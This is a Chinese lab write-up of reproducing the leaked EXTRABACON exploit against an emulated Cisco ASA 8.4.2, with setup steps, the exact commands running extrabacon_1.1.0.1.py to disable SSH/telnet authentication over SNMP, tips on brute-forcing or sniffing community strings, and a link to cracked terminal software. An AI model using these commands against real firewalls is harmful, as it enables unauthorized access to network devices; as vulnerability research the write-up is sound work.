关闭

Cisco SNMP RCE漏洞复现过程

554人阅读 评论(0) 收藏 举报
分类:

*本文原创作者:tahf,本文属FreeBuf原创奖励计划,未经许可禁止转载

NSA数据泄露后,很多大牛都给出了分析报告,让我受益匪浅。作为一名技术小白,想分享下分析\eqgrp-free-file\Firewall\EXPLOITS\EXBA的思路、搭建漏洞环境的过程和利用条件测试。本文具有极强的可操作性,请勿用于非法途径。由于个人技术水平有限,文中可能还有部分问题和错误,还请各位大牛批评指正,欢迎交流!

0×00 最初的线索和资源分享

获得泄露文件epgrp-free-file后,对Firewall\EXPLOITS\文件夹下的内容很感兴趣,但子文件夹名称对应的漏洞信息并不清楚。我们最关注的问题是这些漏洞利用工具的目标设备是什么,哪些版本受到漏洞影响,并且能否还原漏洞利用过程。对漏洞的成功复现是漏洞分析过程中非常重要的一步。

在分析过程中,注意到Firewall\SCRIPTS\目录下存有部分关于漏洞利用工具的相关说明。比如EXTRABACON.txt,含有对EXBA下extrabacon_1.1.0.1.py漏洞利用脚本的相关说明。

EXTRABACON.png

明确目标是Cisco的ASA,版本v8.0-v8.4。由于是SNMP漏洞,需要ASA防火墙开启SNMP服务。下一步我们需要搭建目标设备环境。由于手头上没有实物的ASA防火墙,所以我使用了基于VMware的ASA 8.42防火墙模拟器。为方便搭建环境,一并将资源和相关工具分享给大家。

ASA-8.42.rar(模拟ASA 5520,内含ASDM)

链接: https://pan.baidu.com/s/1dFzBqfv 密码: si9c

SecureCRT_win7.3.rar(C_R_T_7.3.rar) 解压密码:CRT7.3

链接: https://pan.baidu.com/s/1bp3Jfvp 密码: yaq2

named pipe tcp proxy.zip

链接: https://pan.baidu.com/s/1jIdMvpO 密码: riw6

0×01 搭建ASA环境

使用VMware Workstation加载ASA-8.4.2虚拟机。建议首先修改虚拟机的配置,将桥接模式的网卡改成NAT模式,方便与其它虚拟机组网。同时,请查看下串行端口是否配置,默认配置为\.\pipe\842。如果串口没有配置,可以点击添加串行端口,选择“输出到命名管道”。下一步按照下图配置即可。

asa_config_01.png

安装named pipe tcp proxy软件,并按照下图配置,功能是将串行端口命名管道数据转发到TCP端口上。

named_01.png

填入在ASA虚拟机配置的串行端口命名管道,Port选择一个本机没被占用的TCP端口。

安装SecureCRT软件并打开,新建一个Session,在协议中选择Telnet,点击下一步。

CRT_01.png

Hostname填入127.0.0.1,端口填入named Pipe Tcp Proxy中配置的端口,点击下一步。

CRT_02.png

Session Name任意填写,将作为一个标识,点击完成。

CRT_03.png

打开ASA-842虚拟机电源,稍等片刻后,双击刚配置好的Session Name,如果右侧终端显示ciscoasa>就说明前面的配置没有问题,现在相当是使用串口线连接ASA防火墙,下面开始配置ASA防火墙。该ASA镜像默认用户是netemu,密码和enable密码也是netemu。

ciscoasa>en
Password:******  (密码是netemu)
ciscoasa#show run          查看下现在的配置
……
interface GigabitEthernet0
 nameif inside
 security-level 100
 ip address 192.168.1.4 255.255.255.0 
……
http server enable
http 192.168.1.0 255.255.255.0 inside
no snmp-server location
no snmp-server contact
snmp-server enable traps snmp authentication linkup linkdown coldstart warmstart
……

主要目的是复现漏洞,因此只需要根据自己的网络环境做相应配置即可。如果对防火墙配置不熟悉,可以参考下面的配置命令。

配置IP地址,为inside区域:

ciscoasa# configure terminal 
ciscoasa(config)# interface GigabitEthernet0
ciscoasa(config-if)# ip address 10.0.27.250 255.255.255.0        (配置该网卡IP为10.0.27.250)
ciscoasa(config-if)# no shut
ciscoasa(config-if)# nameif inside

配置完成后,使用宿主机应该可以ping通10.0.27.250。

为方便大家配置ASA防火墙,该镜像中装载有ASDM 6.4.9,只需要把Web管理方式打开,就可以使用ASDM管理和配置ASA了。

PS:有些镜像是不带ASDM的,需要自己使用tftp把ASDM的bin文件上传。

配置http/https管理方式:

ciscoasa# configure terminal 
ciscoasa(config)# http server enable 
ciscoasa(config)# http 10.0.27.0 255.255.255.0 inside

然后使用浏览器访问https://10.0.27.250,界面如下:

asdm_01.png

点击Install ASDMlauncher,下载并安装msi文件,需要安装有JRE环境。安装完成后可以在C:\ProgramFiles (x86)\Cisco Systems\ASDM\下,双击asdm-launcher.jar启动ASDM客户端。输入IP、用户名和密码,即可登录防火墙管理界面。

asdm_02.png

asdm_03.png

ASA最最基本的配置已经完成,别忘了使用write memory命令来保存之前的配置,否则断电就白配置了。

0×02 漏洞复现

继续阅读EXTRABACON.txt文件。

EXTRABACON_01.png

根据该文件,目标防火墙需要开启22(ssh)或者23(telnet)管理端口,并且需要开启snmp-server。在确认目标防火墙22或者23端口开放后(通过端口扫描),我们可以使用extrabacon_1.1.0.1.py脚本的info参数对目标udp 161端口进行探测,并尝试获取需要的目标版本信息。

python extrabacon_1.1.0.1.py info -t 10.0.27.250 -c public

我们先来配置ssh和telnet管理方式,使ASA防火墙的22和23端口开放。

ssh管理配置:

ciscoasa# configure terminal 
ciscoasa(config)# crypto key generate rsa modulus 1024
INFO: The name for the keys will be: <Default-RSA-Key>
Keypair generation process begin. Please wait...
ciscoasa(config)# write memory
ciscoasa(config)# ssh 10.0.27.0 255.255.255.0 inside
ciscoasa(config)# aaa authentication ssh console LOCAL

telnet管理配置:

ciscoasa# configure terminal 
ciscoasa(config)# telnet 10.0.27.0 255.255.255.0 inside

配置完成后,可以使用putty以ssh或telnet的方式登陆防火墙,注意在未使用漏洞利用工具前登陆是需要输入用户名和密码的,输入enable后还需要输入enable密码。

asdm_04.png

也可以直接通过ASDM图形化界面完成上述配置,如上图。ssh和telnet配置完成后,我们先尝试使用extrabacon_1.1.0.1.py脚本探测下防火墙的udp 161端口。请直接把EXBA整个文件夹拷贝到Kali虚拟机中使用。

kali_01.png

wire_01.png

发送了一个snmp协议中get-request请求,version是v2c,但防火墙没有任何响应。

防火墙默认是没有开启snmp-server的,现在让我们配置下。

ciscoasa# configure terminal 
ciscoasa(config)# snmp-server host inside 10.0.27.133 community public

简单网络管理协议SNMP,ASA 支持的版本v1 v2c v3,所有的访问都必须认证。

v1和v2 版本是基于IP 地址和Community进行认证,而v3版本使用用户名和密码进行认证。

如果有兴趣深入了解,可参考http://www.cnblogs.com/xdp-gacl/p/3978825.html

asdm_05.png

上面输入的snmp-server host inside 10.0.27.133 community public配置命令,反映在ASDM图形化管理界面上如上图所示,也可以直接使用ASDM配置snmp-server。在extrabacon_1.1.0.1.py脚本中可以看到其支持的协议版本(only v2c),而v1和v2的认证是基于IP和Community,由于extrabacon_1.1.0.1.py脚本在Kali上运行,需要将host inside后面的IP设置为Kali虚拟机的IP地址,community相当于认证使用的密码,这里设置为public。snmp-server配置完成后,我们再使用脚本的info参数探测下ASA的udp 161端口。

python extrabacon_1.1.0.1.py info -t 10.0.27.250 -c public

kali_03.png

wire_02.png

这次ASA给出了响应包,get-response数据包中包含了ASA的版本及hostname。同时漏洞利用脚本回显的最后几行给出了下一步需要执行的命令。—mode pass-disable的参数反映出该利用工具预期达到的效果,关闭防火墙对telnet或者ssh管理方式的认证,允许攻击者通过连接不需要验证的管理接口进行未授权操作。

新产生的/EXBA/keys/LZueXn.key文件,只是用来标识目标防火墙版本。

EXTRABACON_03.png

利用脚本会根据key文件中的版本在/EXBA/version/目录下选择对应的shellcode,来生成payload数据包。

EXTRABACON_04.png

复现漏洞的时刻到了!

python extrabacon_1.1.0.1.py exec -k LZUeXn -t 10.0.27.250 -c public --mode pass-disable
python extrabacon_1.1.0.1.py exec -t 10.0.27.250 -c public --mode pass-disable
如果不加参数-k,脚本将首先自动进行info探测,获取目标版本信息后,再进行漏洞利用。

kali_04.png

kali_05.png

wire_03.png

从key文件读取版本,选择对应版本shellcode,生成snmp协议的getBulkRequest请求数据包并发送。脚本执行成功后,使用putty以ssh或telnet的方式登陆下ASA防火墙,使用任意用户名和密码。并输入enable,密码任意,可以进行未授权操作,漏洞利用成功。

putty_01.pngputty_02.png

如果需要恢复认证,可以执行:

python extrabacon_1.1.0.1.py exec -k LZUeXn -t 10.0.27.250 -c public --mode pass-enable

0×03 利用条件测试

漏洞复现的环境搭建工作到此基本结束,但我继续做了下面的部分测试,来探讨该漏洞的利用条件。

因为在漏洞脚本利用前,我使用ASDM管理ASA,并且在漏洞利用全过程中没有断开ASDM的连接。在成功执行–mode pass-disable后,我在snmp配置界面做了一些更改,但点击Apply后发现报错,无法对snmp界面的Host Access List进行任何修改,见下图。同时尝试在其它配置面板对ASA更改其它配置,依然报错,已无法使用ASDM对ASA进行配置。

asdm_06.png

将ASDM退出后,再次连接ASA,登陆时再次报错,见下图,此时已无法使用ASDM连接ASA。

asdm_07.png

根据报错信息,怀疑漏洞利用的shellcode对privilege level进行了修改,还需要进一步验证。

只有再次利用脚本执行–mode pass-enable恢复认证后,才能使用ASDM管理ASA。可以预见的是,如果管理员正在使用ASDM配置管理ASA防火墙,利用该漏洞攻击是非常容易暴露的。

由于snmp v2版本是基于IP和Community字符串认证的,使该漏洞的利用条件变的比较苛刻。先来看基于IP的认证。

ciscoasa(config)#snmp-server host inside 10.0.27.133 community public

通过ASDM配置snmp服务时,Host Access Entry中的IP Address会进行合法性检查,只能填入单个IP。

asdm_08.png

如果该IP与发送snmp请求包的IP地址不符,snmp服务将不予响应。经过测试,IP不符的情况下,漏洞利用脚本无法获取目标版本信息,强行指定版本进行漏洞利用也无法成功。下图是发送的版本信息探测数据包和payload数据包,ASA snmp服务均没有任何响应。

wire_04.pngwire_05.png

在理想条件下,假设执行漏洞利用脚本的主机恰好在snmp的Host Access Entry列表中,那么还将面临Community的认证。如果配置snmp-server的Community事先不知道,或者不是大家常用的public这种。漏洞利用脚本的-c参数将很难填写。经过测试,在-c参数后面的Community与ASA snmp-server配置的Community不符合的情况下,漏洞利用工具将无法获得目标版本信息,漏洞无法成功利用。当然,可以尝试爆破snmp的Community。也可以利用v1,v2协议数据没有经过加密处理而对网络进行嗅探。

综上所述,该漏洞成功利用的条件如下:

1、目标防火墙开启22(ssh)或23(telnet)管理方式
2、目标配置了snmp服务。并且snmp配置中的Host Access Entry IP地址和Community字符串能够获得或者已知。
3、目标版本在8.X-8.4.4之间。
请考虑管理员是否正在使用ASDM对防火墙进行管理和配置。

手里还有FGT-VM-4.00-FW-build521的环境,下一步想分析Exploits\EGBL\目录。作为一名技术小白,编写本文的目的就是抛砖引玉,希望能交流更细节的东西,也想帮助大家尽快搭建起ASA的测试环境,便于进一步漏洞的分析。期待与大家一起交流学习,共同进步!

*本文原创作者:tahf,本文属FreeBuf原创奖励计划,未经许可禁止转载

0
0
查看评论

CISCO SNMPv3 配置及snmpwalk命令信息获取

snmp v3安全级别有三种,分别为noAuthNoPriv(不认证也不加密)、authNoPriv(认证但是不加密)、authPriv(既认证又加密) 一、CISCO SNMPv3配置代码: snmp-server contact zhangsan snmp-server location che...
  • ivnetware
  • ivnetware
  • 2016-06-27 01:08
  • 6880

6.漏洞验证系列--Snmp弱口令public泄漏

在windows 下使用,需要先去下载Snmputil工具,然后cmd到该目录下 Snmputil.exe walk 目标ip public .1.3.6.1.2.1.1.1
  • archersaber39
  • archersaber39
  • 2017-12-29 15:44
  • 114

简单四步,教你自己动手移植思科ASA漏洞利用EXTRABACON

2016-08-29 10:54:06 作者:mpk_no1  阅读:655次 点赞(1) 收藏(1) 分享到: 在过去的几天里,我们仔细分析了由Shadow Brokers泄露的国安局漏洞利用代码EXTRABACON...
  • qq_27446553
  • qq_27446553
  • 2016-08-31 00:58
  • 1456

思科设备snmp打开方法

思科设备snmp打开方法 路由器打开方法: snmp-server community crmRO     //crm为自定义的共同体名称,常用Public   snmp-server trap-sourceFastEthern...
  • liuwei063608
  • liuwei063608
  • 2014-09-10 10:10
  • 10627

Cisco SNMPv3配置及原理说明

SNMP当前有三个版本,分别是SNMP v1、v2、v3。SNMP v1、v2有很多共同特征,但是SNMP v2在版本上得到了增强,例如额外的协议操作。SNMP v3在先前的版本的基础上增加了安全和远程配置能力。为了解决不通版本的兼容性问题,RFC3584定义了共同策略。以下针对每一个版本一一介绍:...
  • blakegao
  • blakegao
  • 2013-12-08 07:08
  • 3040

SNMP 口令的利用

来源:ITLab很多人开始明白对于WIN2K来说,关闭了TCP139和445端口以后,安全性会提高很多,起码很多对系统信息的刺探扫描也无法进行了。  一般来说,的确是这样。但要做到真正完善的安全,还需要从每一个细节去考虑是否会存在隐患。  比如,对于完全安装的WIN2K或者说启动了 简单网络管理协议...
  • inject2006
  • inject2006
  • 2008-12-16 08:51
  • 567

通过snmp v2读取cisco 3560上的 mac-address-table 的问题

已经找到办法了 关键点在写community后面要加一个@VLAN号 例如用snmpwalk.exe获取的方法: snmpwalk read_community@vlan_number .1.3.6.1.2.1.17.4.3.1.1 VLAN 1 snmpwa...
  • a9254778
  • a9254778
  • 2015-10-15 23:17
  • 826

common-collections中Java反序列化漏洞导致的RCE原理分析

0x00这几天在zone看到了有人提及了有关于common-collections包的RCE漏洞,并且http://zone.wooyun.org/content/23849给出了具体的原理。作为一个业余的安全研究人员,除了会利用之外,还可以探究一下背后的原理。0x01Java反序列化导致的漏洞原理...
  • u011721501
  • u011721501
  • 2015-11-12 10:31
  • 2973

如何通过SNMP协议保存思科路由器配置文件

Everyone knows there are software to get the configuration using SNMP; but how can you copy the configuration if you don’t have any too...
  • me23456
  • me23456
  • 2017-05-15 23:33
  • 560

CVE-2017-9805(Struts2 漏洞复现与分析)

前天发布的新漏洞,以前Struts的漏洞也是经常出,今年三月份就有一次。但这类的洞一直没有跟进,今天也是想着把它给复现一下,同时搭个环境分析一下漏洞形成的原因。0x01 漏洞简介漏洞背景 2017年9月5日,Apache官方发布了一则公告,该公告称Apache Struts2的REST插件存在远程代...
  • qq_31481187
  • qq_31481187
  • 2017-09-07 22:00
  • 1584
    个人资料
    • 访问:798444次
    • 积分:8183
    • 等级:
    • 排名:第2979名
    • 原创:23篇
    • 转载:844篇
    • 译文:2篇
    • 评论:26条
    最新评论